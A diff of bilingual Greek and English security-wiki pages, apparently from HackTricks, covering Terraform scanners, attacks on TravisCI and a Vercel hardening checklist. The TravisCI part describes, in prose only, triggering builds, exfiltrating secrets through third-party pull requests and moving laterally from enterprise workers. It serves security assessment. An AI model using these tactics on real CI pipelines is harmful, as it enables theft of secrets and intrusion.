> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.
```bash
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder
```
### [tfsec](https://github.com/aquasecurity/tfsec)
Από τα [**docs**](https://github.com/aquasecurity/tfsec): το tfsec χρησιμοποιεί στατική ανάλυση του terraform κώδικά σας για να εντοπίσει πιθανές λανθασμένες ρυθμίσεις.
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
- ⛔ Hundreds of built-in rules
- 🪆 Scans modules (local and remote)
- Evaluates HCL expressions as well as literal values
- ↪️ Evaluates Terraform functions e.g. `concat()`
- 🔗 Evaluates relationships between Terraform resources
- 🧰 Compatible with the Terraform CDK
- 🙅 Applies (and embellishes) user-defined Rego policies
- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ Configurable (via CLI flags and/or config file)
- ⚡ Very fast, capable of quickly scanning huge repositories
- ☁️ Ελέγχει για λανθασμένες ρυθμίσεις σε όλους τους μεγάλους (και κάποιους μικρότερους) παρόχους cloud
- ⛔ Εκατοντάδες ενσωματωμένοι κανόνες
- 🪆 Σκανάρει modules (τοπικά και απομακρυσμένα)
- Αξιολογεί εκφράσεις HCL καθώς και literal τιμές
- ↪️ Αξιολογεί Terraform functions π.χ. `concat()`
- 🔗 Αξιολογεί σχέσεις μεταξύ Terraform resources
- 🧰 Συμβατό με το Terraform CDK
- 🙅 Εφαρμόζει (και εμπλουτίζει) user-defined Rego policies
- 📃 Υποστηρίζει πολλαπλές μορφές εξόδου: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
- 🛠️ Ρυθμιζόμενο (μέσω CLI flags και/ή αρχείου config)
- ⚡ Πολύ γρήγορο, ικανό να σκανάρει γρήγορα τεράστια repositories
```bash
brew install tfsec
tfsec /path/to/folder
```
### [terrascan](https://github.com/tenable/terrascan)
Το Terrascan είναι ένας στατικός code analyzer για Infrastructure as Code. Το Terrascan σας επιτρέπει:
- Σαρώνει απρόσκοπτα την infrastructure as code για λανθασμένες ρυθμίσεις.
- Παρακολουθεί την παρεχόμενη cloud infrastructure για αλλαγές στη διαμόρφωση που εισάγουν posture drift, και επιτρέπει την επαναφορά σε ασφαλή κατάσταση.
- Εντοπίζει ευπάθειες ασφαλείας και παραβιάσεις συμμόρφωσης.
- Μειώνει τους κινδύνους πριν την παροχή cloud native infrastructure.
- Προσφέρει ευελιξία για εκτέλεση τοπικά ή ενσωμάτωση με το CI\CD σας.
```bash
brew install terrascan
terrascan scan -d /path/to/folder
```
### [KICKS](https://github.com/Checkmarx/kics)
Εντοπίστε ευπάθειες ασφαλείας, ζητήματα συμμόρφωσης και λανθασμένες διαμορφώσεις υποδομής νωρίς στον κύκλο ανάπτυξης της infrastructure-as-code σας με το **KICS** από την Checkmarx.
Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx.
**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project.
**KICS** σημαίνει **K**eeping **I**nfrastructure as **C**ode **S**ecure, είναι ανοιχτού κώδικα και απαραίτητο για κάθε cloud native project.
```bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)
From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
- Σάρωση του Infrastructure as Code για λανθασμένες διαμορφώσεις.
- Παρακολούθηση της provisioned cloud υποδομής για αλλαγές διαμόρφωσης που εισάγουν posture drift, και δυνατότητα επαναφοράς σε ασφαλή κατάσταση.
- Ανίχνευση ευπαθειών ασφαλείας και παραβάσεων συμμόρφωσης.
- Μείωση κινδύνων πριν την προμήθεια cloud native υποδομής.
- Προσφέρει ευελιξία για εκτέλεση τοπικά ή ενσωμάτωση με το CI\CD σας.
- Seamlessly scan infrastructure as code for misconfigurations.
- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
- Detect security vulnerabilities and compliance violations.
- Mitigate risks before provisioning cloud native infrastructure.
- Offers flexibility to run locally or integrate with your CI\CD.
```bash
brew install terrascan
```
## Αναφορές
## References
- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
- [Κατάχρηση token στο Terraform Cloud που μετατρέπει speculative plan σε remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
- [Δικαιώματα Terraform Cloud](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
- [Terraform Cloud API Εμφάνιση workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
- [Διαμόρφωση AWS provider](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
- [AWS CLI Ανάληψη ρόλου OIDC](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
- [GCP provider Χρήση Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
- [Terraform Ευαίσθητες μεταβλητές](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
- [Snyk Labs Gitflops: κίνδυνοι των πλατφορμών αυτοματοποίησης Terraform](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
- [Terraform Cloud API Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
- [AWS CLI OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
- [GCP provider Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
- [Terraform Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
- [Snyk Labs Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
{{#include ../banners/hacktricks-training.md}}

View File

@@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
Οι PRs του Github είναι ευπρόσδεκτοι εξηγώντας πώς να (κατα)χρησιμοποιήσετε αυτές τις πλατφόρμες από την προοπτική ενός επιτιθέμενου
Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
- Drone
- TeamCity
@@ -11,6 +11,9 @@
- Rancher
- Mesosphere
- Radicle
- Οποιαδήποτε άλλη πλατφόρμα CI/CD...
- Any other CI/CD platform...
{{#include ../banners/hacktricks-training.md}}

View File

@@ -2,64 +2,67 @@
{{#include ../../banners/hacktricks-training.md}}
## Τι είναι το TravisCI
## What is TravisCI
**Travis CI** είναι μια **φιλοξενούμενη** ή σε **τοπικό** **συνεχή ολοκλήρωση** υπηρεσία που χρησιμοποιείται για την κατασκευή και δοκιμή λογισμικών έργων που φιλοξενούνται σε πολλές **διαφορετικές πλατφόρμες git**.
**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
{{#ref}}
basic-travisci-information.md
{{#endref}}
## Επιθέσεις
## Attacks
### Ενεργοποιήσεις
### Triggers
Για να ξεκινήσετε μια επίθεση, πρέπει πρώτα να γνωρίζετε πώς να ενεργοποιήσετε μια κατασκευή. Από προεπιλογή, το TravisCI θα **ενεργοποιήσει μια κατασκευή σε pushes και pull requests**:
To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
![](<../../images/image (145).png>)
#### Cron Jobs
Αν έχετε πρόσβαση στην εφαρμογή ιστού, μπορείτε να **ρυθμίσετε cron jobs για να εκτελούν την κατασκευή**, αυτό μπορεί να είναι χρήσιμο για επιμονή ή για να ενεργοποιήσετε μια κατασκευή:
If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
![](<../../images/image (243).png>)
> [!NOTE]
> Φαίνεται ότι δεν είναι δυνατό να ρυθμίσετε cron jobs μέσα στο `.travis.yml` σύμφωνα με [αυτό](https://github.com/travis-ci/travis-ci/issues/9162).
> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
### PR Τρίτων
### Third Party PR
Το TravisCI από προεπιλογή απενεργοποιεί την κοινή χρήση μεταβλητών περιβάλλοντος με PRs που προέρχονται από τρίτους, αλλά κάποιος μπορεί να το ενεργοποιήσει και τότε θα μπορούσατε να δημιουργήσετε PRs στο repo και να εξάγετε τα μυστικά:
TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
![](<../../images/image (208).png>)
### Εκχύλιση Μυστικών
### Dumping Secrets
Όπως εξηγείται στη σελίδα [**βασικές πληροφορίες**](basic-travisci-information.md), υπάρχουν 2 τύποι μυστικών. **Μυστικά Μεταβλητών Περιβάλλοντος** (τα οποία αναφέρονται στη σελίδα ιστού) και **προσαρμοσμένα κρυπτογραφημένα μυστικά**, τα οποία αποθηκεύονται μέσα στο αρχείο `.travis.yml` ως base64 (σημειώστε ότι και τα δύο, καθώς αποθηκεύονται κρυπτογραφημένα, θα καταλήξουν ως μεταβλητές περιβάλλοντος στις τελικές μηχανές).
As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
- Για να **καταμετρήσετε τα μυστικά** που έχουν ρυθμιστεί ως **Μεταβλητές Περιβάλλοντος**, μεταβείτε στις **ρυθμίσεις** του **έργου** και ελέγξτε τη λίστα. Ωστόσο, σημειώστε ότι όλες οι μεταβλητές περιβάλλοντος του έργου που έχουν ρυθμιστεί εδώ θα εμφανιστούν κατά την ενεργοποίηση μιας κατασκευής.
- Για να καταμετρήσετε τα **προσαρμοσμένα κρυπτογραφημένα μυστικά**, το καλύτερο που μπορείτε να κάνετε είναι να **ελέγξετε το αρχείο `.travis.yml`**.
- Για να **καταμετρήσετε κρυπτογραφημένα αρχεία**, μπορείτε να ελέγξετε για **αρχεία `.enc`** στο repo, για γραμμές παρόμοιες με `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` στο αρχείο ρύθμισης, ή για **κρυπτογραφημένα iv και κλειδιά** στις **Μεταβλητές Περιβάλλοντος** όπως:
- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
![](<../../images/image (81).png>)
### TODO:
- Παράδειγμα κατασκευής με reverse shell που εκτελείται σε Windows/Mac/Linux
- Παράδειγμα κατασκευής που διαρρέει τη μεταβλητή περιβάλλοντος κωδικοποιημένη σε base64 στα logs
- Example build with reverse shell running on Windows/Mac/Linux
- Example build leaking the env base64 encoded in the logs
### TravisCI Enterprise
Αν ένας επιτιθέμενος βρεθεί σε ένα περιβάλλον που χρησιμοποιεί **TravisCI enterprise** (περισσότερες πληροφορίες για το τι είναι αυτό στη [**βασικές πληροφορίες**](basic-travisci-information.md#travisci-enterprise)), θα είναι σε θέση να **ενεργοποιήσει κατασκευές στον Worker.** Αυτό σημαίνει ότι ένας επιτιθέμενος θα είναι σε θέση να κινηθεί οριζόντια σε αυτόν τον διακομιστή από τον οποίο θα μπορούσε να είναι σε θέση να:
If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
- διαφύγει στον κεντρικό υπολογιστή;
- συμβιβάσει το kubernetes;
- συμβιβάσει άλλες μηχανές που εκτελούνται στο ίδιο δίκτυο;
- συμβιβάσει νέες πιστοποιήσεις cloud;
- escape to the host?
- compromise kubernetes?
- compromise other machines running in the same network?
- compromise new cloud credentials?
## Αναφορές
## References
- [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,42 +4,45 @@
## Access
Το TravisCI ενσωματώνεται απευθείας με διάφορες πλατφόρμες git όπως το Github, το Bitbucket, το Assembla και το Gitlab. Θα ζητήσει από τον χρήστη να δώσει στο TravisCI άδειες για να έχει πρόσβαση στα αποθετήρια που θέλει να ενσωματώσει με το TravisCI.
TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI.
Για παράδειγμα, στο Github θα ζητήσει τις εξής άδειες:
For example, in Github it will ask for the following permissions:
- `user:email` (μόνο για ανάγνωση)
- `read:org` (μόνο για ανάγνωση)
- `repo`: Παρέχει πρόσβαση για ανάγνωση και εγγραφή στον κώδικα, τις καταστάσεις commit, τους συνεργάτες και τις καταστάσεις ανάπτυξης για δημόσια και ιδιωτικά αποθετήρια και οργανισμούς.
- `user:email` (read-only)
- `read:org` (read-only)
- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations.
## Encrypted Secrets
### Environment Variables
Στο TravisCI, όπως και σε άλλες πλατφόρμες CI, είναι δυνατόν να **αποθηκεύσετε σε επίπεδο αποθετηρίου μυστικά** που θα αποθηκευτούν κρυπτογραφημένα και θα **αποκρυπτογραφηθούν και θα προωθηθούν στη μεταβλητή περιβάλλοντος** της μηχανής που εκτελεί την κατασκευή.
In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build.
![](<../../images/image (203).png>)
Είναι δυνατόν να υποδείξετε τις **κλάδους στους οποίους θα είναι διαθέσιμα τα μυστικά** (κατά προεπιλογή όλα) και επίσης αν το TravisCI **θα πρέπει να κρύψει την τιμή του** αν εμφανιστεί **στα logs** (κατά προεπιλογή θα το κάνει).
It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will).
### Custom Encrypted Secrets
Για **κάθε αποθετήριο** το TravisCI δημιουργεί ένα **RSA keypair**, **κρατά** το **ιδιωτικό** και καθιστά διαθέσιμο το **δημόσιο κλειδί** του αποθετηρίου σε εκείνους που έχουν **πρόσβαση** στο αποθετήριο.
For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repositorys **public key available** to those who have **access** to the repository.
You can access the public key of one repo with:
Μπορείτε να αποκτήσετε πρόσβαση στο δημόσιο κλειδί ενός αποθετηρίου με:
```
travis pubkey -r <owner>/<repo_name>
travis pubkey -r carlospolop/t-ci-test
```
Τότε, μπορείτε να χρησιμοποιήσετε αυτή τη ρύθμιση για να **κρυπτογραφήσετε μυστικά και να τα προσθέσετε στο `.travis.yaml`**. Τα μυστικά θα **αποκρυπτογραφηθούν όταν εκτελείται η κατασκευή** και θα είναι προσβάσιμα στις **μεταβλητές περιβάλλοντος**.
Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**.
![](<../../images/image (139).png>)
Σημειώστε ότι τα μυστικά που κρυπτογραφούνται με αυτόν τον τρόπο δεν θα εμφανίζονται στη λίστα των μεταβλητών περιβάλλοντος των ρυθμίσεων.
Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings.
### Προσαρμοσμένα Κρυπτογραφημένα Αρχεία
### Custom Encrypted Files
Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**:
Με τον ίδιο τρόπο όπως πριν, το TravisCI επιτρέπει επίσης να **κρυπτογραφήσετε αρχεία και στη συνέχεια να τα αποκρυπτογραφήσετε κατά τη διάρκεια της κατασκευής**:
```
travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
@@ -49,7 +52,7 @@ storing secure env variables for decryption
Please add the following to your build script (before_install stage in your .travis.yml, for instance):
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d
Pro Tip: You can add it automatically by running with --add.
@@ -57,32 +60,36 @@ Make sure to add super_secret.txt.enc to the git repository.
Make sure not to add super_secret.txt to the git repository.
Commit all changes to your .travis.yml.
```
Σημειώστε ότι κατά την κρυπτογράφηση ενός αρχείου, 2 Env Variables θα ρυθμιστούν μέσα στο repo όπως:
Note that when encrypting a file 2 Env Variables will be configured inside the repo such as:
![](<../../images/image (170).png>)
## TravisCI Enterprise
Το Travis CI Enterprise είναι μια **on-prem έκδοση του Travis CI**, την οποία μπορείτε να αναπτύξετε **στην υποδομή σας**. Σκεφτείτε την server έκδοση του Travis CI. Η χρήση του Travis CI σας επιτρέπει να ενεργοποιήσετε ένα εύχρηστο σύστημα Continuous Integration/Continuous Deployment (CI/CD) σε ένα περιβάλλον, το οποίο μπορείτε να ρυθμίσετε και να ασφαλίσετε όπως θέλετε.
Travis CI Enterprise is an **on-prem version of Travis CI**, which you can deploy **in your infrastructure**. Think of the server version of Travis CI. Using Travis CI allows you to enable an easy-to-use Continuous Integration/Continuous Deployment (CI/CD) system in an environment, which you can configure and secure as you want to.
**Το Travis CI Enterprise αποτελείται από δύο κύρια μέρη:**
**Travis CI Enterprise consists of two major parts:**
1. TCI **υπηρεσίες** (ή TCI Core Services), υπεύθυνες για την ενσωμάτωση με συστήματα ελέγχου εκδόσεων, την εξουσιοδότηση κατασκευών, τον προγραμματισμό εργασιών κατασκευής, κ.λπ.
2. TCI **Worker** και εικόνες περιβάλλοντος κατασκευής (επίσης ονομάζονται OS images).
1. TCI **services** (or TCI Core Services), responsible for integration with version control systems, authorizing builds, scheduling build jobs, etc.
2. TCI **Worker** and build environment images (also called OS images).
**Οι υπηρεσίες TCI Core απαιτούν τα εξής:**
**TCI Core services require the following:**
1. Μια **PostgreSQL11** (ή νεότερη) βάση δεδομένων.
2. Μια υποδομή για την ανάπτυξη ενός Kubernetes cluster; μπορεί να αναπτυχθεί σε ένα server cluster ή σε μια μόνο μηχανή αν απαιτείται.
3. Ανάλογα με τη ρύθμισή σας, μπορεί να θέλετε να αναπτύξετε και να ρυθμίσετε ορισμένα από τα συστατικά μόνοι σας, π.χ., RabbitMQ - δείτε το [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) για περισσότερες λεπτομέρειες.
1. A **PostgreSQL11** (or later) database.
2. An infrastructure to deploy a Kubernetes cluster; it can be deployed in a server cluster or in a single machine if required
3. Depending on your setup, you may want to deploy and configure some of the components on your own, e.g., RabbitMQ - see the [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) for more details.
**Ο TCI Worker απαιτεί τα εξής:**
**TCI Worker requires the following:**
1. Μια υποδομή όπου μια εικόνα docker που περιέχει τον **Worker και μια συνδεδεμένη εικόνα κατασκευής μπορεί να αναπτυχθεί**.
2. Συνδεσιμότητα με ορισμένα συστατικά των υπηρεσιών Travis CI Core - δείτε το [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) για περισσότερες λεπτομέρειες.
1. An infrastructure where a docker image containing the **Worker and a linked build image can be deployed**.
2. Connectivity to certain Travis CI Core Services components - see the [Setting Up Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) for more details.
Η ποσότητα των αναπτυγμένων TCI Worker και εικόνων περιβάλλοντος κατασκευής OS θα καθορίσει τη συνολική ταυτόχρονη ικανότητα ανάπτυξης του Travis CI Enterprise στην υποδομή σας.
The amount of deployed TCI Worker and build environment OS images will determine the total concurrent capacity of Travis CI Enterprise deployment in your infrastructure.
![](<../../images/image (199).png>)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,244 +4,244 @@
## Basic Information
Στο Vercel, μια **Ομάδα** είναι το πλήρες **περιβάλλον** που ανήκει σε έναν πελάτη και ένα **έργο** είναι μια **εφαρμογή**.
In Vercel a **Team** is the complete **environment** that belongs a client and a **project** is an **application**.
Για μια ανασκόπηση σκληροποίησης του **Vercel**, πρέπει να ζητήσετε έναν χρήστη με **άδεια ρόλου θεατή** ή τουλάχιστον **άδεια θεατή έργου** για τα έργα, για να ελέγξετε (σε περίπτωση που χρειάζεται να ελέγξετε μόνο τα έργα και όχι τη ρύθμιση της Ομάδας επίσης).
For a hardening review of **Vercel** you need to ask for a user with **Viewer role permission** or at least **Project viewer permission over the projects** to check (in case you only need to check the projects and not the Team configuration also).
## Project Settings
### General
**Σκοπός:** Διαχείριση θεμελιωδών ρυθμίσεων έργου όπως το όνομα του έργου, το πλαίσιο και τις ρυθμίσεις κατασκευής.
**Purpose:** Manage fundamental project settings such as project name, framework, and build configurations.
#### Security Configurations:
- **Μεταφορά**
- **Λάθος ρύθμιση:** Επιτρέπει τη μεταφορά του έργου σε άλλη ομάδα
- **Κίνδυνος:** Ένας επιτιθέμενος θα μπορούσε να κλέψει το έργο
- **Διαγραφή Έργου**
- **Λάθος ρύθμιση:** Επιτρέπει τη διαγραφή του έργου&#x20;
- **Κίνδυνος:** Διαγραφή του έργου
- **Transfer**
- **Misconfiguration:** Allows to transfer the project to another team
- **Risk:** An attacker could steal the project
- **Delete Project**
- **Misconfiguration:** Allows to delete the project
- **Risk:** Delete the prject
---
### Domains
**Σκοπός:** Διαχείριση προσαρμοσμένων τομέων, ρυθμίσεων DNS και ρυθμίσεων SSL.
**Purpose:** Manage custom domains, DNS settings, and SSL configurations.
#### Security Configurations:
- **Σφάλματα Ρύθμισης DNS**
- **Λάθος ρύθμιση:** Λανθασμένες εγγραφές DNS (A, CNAME) που δείχνουν σε κακόβουλους διακομιστές.
- **Κίνδυνος:** Υφαρπαγή τομέα, παρεμβολή κυκλοφορίας και επιθέσεις phishing.
- **Διαχείριση Πιστοποιητικών SSL/TLS**
- **Λάθος ρύθμιση:** Χρήση αδύναμων ή ληγμένων πιστοποιητικών SSL/TLS.
- **Κίνδυνος:** Ευάλωτο σε επιθέσεις man-in-the-middle (MITM), που θέτουν σε κίνδυνο την ακεραιότητα και την εμπιστευτικότητα των δεδομένων.
- **Εφαρμογή DNSSEC**
- **Λάθος ρύθμιση:** Αποτυχία ενεργοποίησης του DNSSEC ή λανθασμένες ρυθμίσεις DNSSEC.
- **Κίνδυνος:** Αυξημένη ευαισθησία σε επιθέσεις spoofing DNS και επιθέσεις δηλητηρίασης cache.
- **Περιβάλλον που χρησιμοποιείται ανά τομέα**
- **Λάθος ρύθμιση:** Αλλαγή του περιβάλλοντος που χρησιμοποιείται από τον τομέα στην παραγωγή.
- **Κίνδυνος:** Έκθεση πιθανών μυστικών ή λειτουργιών που δεν θα έπρεπε να είναι διαθέσιμες στην παραγωγή.
- **DNS Configuration Errors**
- **Misconfiguration:** Incorrect DNS records (A, CNAME) pointing to malicious servers.
- **Risk:** Domain hijacking, traffic interception, and phishing attacks.
- **SSL/TLS Certificate Management**
- **Misconfiguration:** Using weak or expired SSL/TLS certificates.
- **Risk:** Vulnerable to man-in-the-middle (MITM) attacks, compromising data integrity and confidentiality.
- **DNSSEC Implementation**
- **Misconfiguration:** Failing to enable DNSSEC or incorrect DNSSEC settings.
- **Risk:** Increased susceptibility to DNS spoofing and cache poisoning attacks.
- **Environment used per domain**
- **Misconfiguration:** Change the environment used by the domain in production.
- **Risk:** Expose potential secrets or functionalities taht shouldn't be available in production.
---
### Environments
**Σκοπός:** Ορισμός διαφορετικών περιβαλλόντων (Ανάπτυξη, Προεπισκόπηση, Παραγωγή) με συγκεκριμένες ρυθμίσεις και μεταβλητές.
**Purpose:** Define different environments (Development, Preview, Production) with specific settings and variables.
#### Security Configurations:
- **Απομόνωση Περιβάλλοντος**
- **Λάθος ρύθμιση:** Κοινή χρήση μεταβλητών περιβάλλοντος μεταξύ περιβαλλόντων.
- **Κίνδυνος:** Διαρροή μυστικών παραγωγής σε περιβάλλοντα ανάπτυξης ή προεπισκόπησης, αυξάνοντας την έκθεση.
- **Πρόσβαση σε Ευαίσθητα Περιβάλλοντα**
- **Λάθος ρύθμιση:** Επιτρέποντας ευρεία πρόσβαση σε περιβάλλοντα παραγωγής.
- **Κίνδυνος:** Μη εξουσιοδοτημένες αλλαγές ή πρόσβαση σε ζωντανές εφαρμογές, οδηγώντας σε πιθανές διακοπές ή παραβιάσεις δεδομένων.
- **Environment Isolation**
- **Misconfiguration:** Sharing environment variables across environments.
- **Risk:** Leakage of production secrets into development or preview environments, increasing exposure.
- **Access to Sensitive Environments**
- **Misconfiguration:** Allowing broad access to production environments.
- **Risk:** Unauthorized changes or access to live applications, leading to potential downtimes or data breaches.
---
### Environment Variables
**Σκοπός:** Διαχείριση μεταβλητών και μυστικών που σχετίζονται με το περιβάλλον που χρησιμοποιούνται από την εφαρμογή.
**Purpose:** Manage environment-specific variables and secrets used by the application.
#### Security Configurations:
- **Έκθεση Ευαίσθητων Μεταβλητών**
- **Λάθος ρύθμιση:** Προσθήκη προθέματος `NEXT_PUBLIC_` σε ευαίσθητες μεταβλητές, καθιστώντας τις προσβάσιμες από την πλευρά του πελάτη.
- **Κίνδυνος:** Έκθεση κλειδιών API, διαπιστευτηρίων βάσης δεδομένων ή άλλων ευαίσθητων δεδομένων στο κοινό, οδηγώντας σε παραβιάσεις δεδομένων.
- **Ευαίσθητο απενεργοποιημένο**
- **Λάθος ρύθμιση:** Εάν είναι απενεργοποιημένο (προεπιλογή), είναι δυνατή η ανάγνωση των τιμών των παραγόμενων μυστικών.
- **Κίνδυνος:** Αυξημένη πιθανότητα ακούσιας έκθεσης ή μη εξουσιοδοτημένης πρόσβασης σε ευαίσθητες πληροφορίες.
- **Κοινές Μεταβλητές Περιβάλλοντος**
- **Λάθος ρύθμιση:** Αυτές είναι μεταβλητές περιβάλλοντος που ορίζονται σε επίπεδο Ομάδας και θα μπορούσαν επίσης να περιέχουν ευαίσθητες πληροφορίες.
- **Κίνδυνος:** Αυξημένη πιθανότητα ακούσιας έκθεσης ή μη εξουσιοδοτημένης πρόσβασης σε ευαίσθητες πληροφορίες.
- **Exposing Sensitive Variables**
- **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side.
- **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches.
- **Sensitive disabled**
- **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets.
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
- **Shared Environment Variables**
- **Misconfiguration:** These are env variables set at Team level and could also contain sensitive information.
- **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information.
---
### Git
**Σκοπός:** Ρύθμιση ενσωματώσεων αποθετηρίων Git, προστασίες κλάδων και ενεργοποιήσεις ανάπτυξης.
**Purpose:** Configure Git repository integrations, branch protections, and deployment triggers.
#### Security Configurations:
- **Αγνοούμενο Βήμα Κατασκευής (TODO)**
- **Λάθος ρύθμιση:** Φαίνεται ότι αυτή η επιλογή επιτρέπει τη ρύθμιση ενός bash script/εντολών που θα εκτελούνται όταν γίνει μια νέα δέσμευση στο Github, που θα μπορούσε να επιτρέψει RCE.
- **Κίνδυνος:** TBD
- **Ignored Build Step (TODO)**
- **Misconfiguration:** It looks like this option allows to configure a bash script/commands that will be executed when a new commit is pushed in Github, which could allow RCE.
- **Risk:** TBD
---
### Integrations
**Σκοπός:** Σύνδεση τρίτων υπηρεσιών και εργαλείων για την ενίσχυση των λειτουργιών του έργου.
**Purpose:** Connect third-party services and tools to enhance project functionalities.
#### Security Configurations:
- **Ανασφαλείς Ενσωματώσεις Τρίτων**
- **Λάθος ρύθμιση:** Ενσωμάτωση με μη αξιόπιστες ή ανασφαλείς τρίτες υπηρεσίες.
- **Κίνδυνος:** Εισαγωγή ευπαθειών, διαρροές δεδομένων ή πίσω πόρτες μέσω συμβιβασμένων ενσωματώσεων.
- **Υπερβολικές Άδειες Ενσωματώσεων**
- **Λάθος ρύθμιση:** Χορήγηση υπερβολικών αδειών σε ενσωματωμένες υπηρεσίες.
- **Κίνδυνος:** Μη εξουσιοδοτημένη πρόσβαση σε πόρους έργου, παραποίηση δεδομένων ή διακοπές υπηρεσιών.
- **Έλλειψη Παρακολούθησης Ενσωματώσεων**
